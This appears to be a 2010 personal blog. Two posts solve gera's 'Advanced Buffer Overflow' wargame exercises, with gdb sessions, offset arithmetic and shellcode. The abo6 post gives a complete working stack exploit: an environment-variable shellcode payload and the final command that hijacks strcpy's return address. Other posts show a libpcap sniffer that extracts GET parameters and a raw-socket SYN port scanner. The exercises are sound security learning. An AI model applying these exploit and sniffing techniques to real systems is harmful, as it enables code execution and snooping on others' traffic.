Friday, September 17, 2010

Advanced Buffer Overflow #7

/* abo7.c *
* specially crafted to feed your brain by gera */

/* sometimes you can, *
* sometimes you don't *
* that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
strcpy(buf,argc[1]);
}

buf is in the .data section, initialzed:

$ nm abo7 | grep buf
08049600 D buf

(gdb) x/x buf
0x8049600 : 0x00000001

.data section starts at 0x080495e0:

(gdb) maintenance info sections

...
0x080495e0->0x08049700 at 0x000005e0: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049700->0x08049704 at 0x00000700: .bss ALLOC
0x00000000->0x0000007e at 0x00000700: .comment READONLY HAS_CONTENTS
0x00000000->0x000000a8 at 0x00000780: .debug_aranges READONLY HAS_CONTENTS
0x00000000->0x00000048 at 0x00000828: .debug_pubnames READONLY HAS_CONTENTS
0x00000000->0x00000375 at 0x00000870: .debug_info READONLY HAS_CONTENTS
0x00000000->0x0000010a at 0x00000be5: .debug_abbrev READONLY HAS_CONTENTS
0x00000000->0x00000244 at 0x00000cef: .debug_line READONLY HAS_CONTENTS
0x00000000->0x00000030 at 0x00000f34: .debug_frame READONLY HAS_CONTENTS
0x00000000->0x000000ae at 0x00000f64: .debug_str READONLY HAS_CONTENTS
(gdb)

and it is 288 bytes:

(gdb) p/d 0x08049700 - 0x080495e0
$1 = 288

0x80495e0 : 0x00000000 0x00000000 0x080494f4 0x00000000
0x80495f0
: 0x00000000 0x00000000 0x00000000 0x00000000

0x8049600 : 0x00000001 0x00000000 0x00000000 0x00000000

I start seeing some sort of error at 2560 As, it starts hitting unaccessible memory:


(gdb) run `perl -e 'print "A"x2560';`
Starting program: /home/dennis/gera/abo7/abo7 `perl -e 'print "A"x2560';`

Program received signal SIGSEGV, Segmentation fault.
0xb7f09ba6 in strcpy () from /lib/tls/libc.so.6

(gdb) x/1000x 0x8049600

...

0x8049ff0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804a000: Cannot access memory at address 0x804a000

Due to how the sections are linked together, nothing useful can be overwritten from where buf is. Confirmed by nm (sorted by addresses):

$ nm -n abo7
...
080495e0 D __data_start
080495e0 W data_start
080495e4 D __dso_handle
080495e8 d p.0
08049600 D buf
08049700 A __bss_start
08049700 A _edata
08049700 b completed.1
08049704 A _end

I'm guessing older versions of gcc/ld arranged it so that the .data section was above .dtors or .got and function pointer manipulation could take place.

Thursday, September 16, 2010

Advanced Buffer Overflow #6

/* abo6.c *
/* specially crafted to feed your brain by gera */

/* wwwhat'u talkin' about? */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}

stack

eip
ebp
pbuf -> malloc land
.
.
buf

I can overwrite buf with the first strcpy and point pbuf to an arbitrary address. Due to the while loop, main's return address and exit function overwrites are useless.

I can point pbuf to the saved returned address of the future strcpy (second). This strcpy will overwrite its own return address and point it back to an environment variable filled with shellcode.

Where is the future eip going to be and how do I get there?

$ gdb --quiet abo6
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048243: file abo6.c, line 7.
(gdb) b strcpy
Breakpoint 2 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "BBBB"';` CCCC
Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "BBBB"';
` CCCC

Breakpoint 1, main (argv=3, argc=0xbffff4c4) at abo6.c:7
7 char *pbuf=malloc(strlen(argc[2])+1);
(gdb) x/x buf
0xbffff170: 0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x0804ed43 in strcpy ()
(gdb) info frame
Stack level 0, frame at 0xbffff150:
eip = 0x804ed43 in strcpy; saved eip 0x804827a
called by frame at 0xbffff290
Arglist at 0xbffff148, args:
Locals at 0xbffff148, Previous frame's sp is 0xbffff150
Saved registers:
ebp at 0xbffff148, eip at 0xbffff14c

buf starts at 0xbffff170. The first strcpy's saved eip is at 0xbffff14c, this will be the same location for the second strcpy.

(gdb) p/x 0xbffff170 - 0xbffff14c
$1 = 0x24

The saved eip is 0x24 (36) bytes away from buf.

(gdb) p/x 0xbffff170 - 36
$3 = 0xbffff14c

Controlling second strcpy's saved return address proof of concept:

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) b strcpy
Breakpoint 6 at 0x804ed43
(gdb) run `perl -e 'print "A"x268 . "\x4c\xf1\xff\xbf"';` AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo6/abo6 `perl -e 'print "A"x268 . "\x4c\xf
1\xff\xbf"';` AAAA

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Breakpoint 6, 0x0804ed43 in strcpy ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

When I run it out of the debugger, the addresses change (note to self, the program name length and argument name length changes offsets!). As a hack, I'll add a printf that prints the address of buf:

$ ./test `perl -e 'print "A"x268 . "BBBB"';` `perl -e 'print "CCCC"';`
buf: 0xbffff2f0
Segmentation fault

The saved eip is 36 bytes away from 0xbffff2f0

(gdb) p/x 0xbffff2f0 - 36
$3 = 0xbffff2cc

Stick shellcode into environment:

$ export ABO6=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43\x31\xc0\
xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'`
$

Get address of environment variable:

$ cat env6.c
#include <stdio.h>

/* this progname name must be same length as abo6 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO6");
printf("ABO6 is at %p\n", envaddr);
}
$ ./env6
ABO6 is at 0xbffff843

Put it all together:

$ abo6 `perl -e 'print "A"x268 . "\xcc\xf2\xff\xbf"';` `perl -e 'print "\x43\xf8\xff\xbf"';`
you_win!$

Monday, September 13, 2010

Libpcap Practice: getsniff.c

getsniff.c is some libpcap learning code. It parses out GET requests and prints any parameters on their own line:

dennis@ipa:~/projects/sockets/getsniff$ sudo getsniff iwn0
GET http://reddit.com/

GET http://www.reddit.com/

GET http://www.redditmedia.com/ads/

GET http://thumbs.reddit.com/t3_ddgvb.png

GET http://thumbs.reddit.com/t3_dbwsj.png
        v=b90a99afb17f73e6891ea39350cbb4d6d161e842

GET http://thumbs.reddit.com/t3_ddcqm.png

GET http://pixel.reddit.com/pixel/of_destiny.png
        v=SEOdlCDIuRz0EUWp42I59%2FadIj5PU0KFCn7MTSHYJUrNg1rLAFRi5bOCu%2BBU8FPx%2FDUpYarYq4c%3D

GET http://pagead2.googlesyndication.com/pagead/show_ads.js

GET http://www.reddit.com/comscore-iframe/www.reddit.com/

GET http://www.google-/__utm.gif
        utmwv=4.7.2
        utmn=1727842155
        utmhn=www.reddit.com
        utmcs=UTF-8
        utmsr=1280x800
        utmsc=24-bit
        utmul=en-us
        utmje=0
        utmfl=-
        utmdt=reddit.com%3A%20what%27s%20new%20online!
        utmhid=1194339538
        utmr=-
        utmp=%2F
...

Tuesday, September 7, 2010

Sockets Practice: sscan.c

sscan.c is another piece of learning code, this time implementing a syn port scanner using raw sockets and libpcap.

This was also a lesson in patience as it took a 6+ hour debugging session to track down a missing htons() causing invalid TCP checksums--I started drinking at hour 3.

dennis@ipa:~/projects/sockets/sscan$ gcc -Wall -o sscan sscan.c -lpcap
dennis@ipa:~/projects/sockets/sscan$ sudo sscan lo0 127.0.0.1
Password:
22 is open
25 is open
111 is open
587 is open
2049 is open
dennis@ipa:~/projects/sockets/sscan$ sudo sscan iwn0 192.168.0.1
Password:
80 is open
dennis@ipa:~/projects/sockets/sscan$

tcpdump snippet, open port:

18:20:35.455203 127.0.0.1.59341 > 127.0.0.1.22: S [tcp sum ok] 2370039654:2370039654(0) win 65535 (ttl 255, id 44629, len 40)

18:20:35.455227 127.0.0.1.22 > 127.0.0.1.59341: S [tcp sum ok] 189400764:189400764(0) ack 2370039655 win 16384 (DF) (ttl 64, id 7376, len 44)

18:20:35.455238 127.0.0.1.59341 > 127.0.0.1.22: R [tcp sum ok] 2370039655:2370039655(0) win 0 (DF) (ttl 64, id 48987, len 40)

Closed port:

18:20:35.955556 127.0.0.1.30223 > 127.0.0.1.23: S [tcp sum ok] 1512395315:1512395315(0) win 65535 (ttl 255, id 19412, len 40)

18:20:35.955573 127.0.0.1.23 > 127.0.0.1.30223: R [tcp sum ok] 0:0(0) ack 1512395316 win 0 (DF) (ttl 64, id 49789, len 40)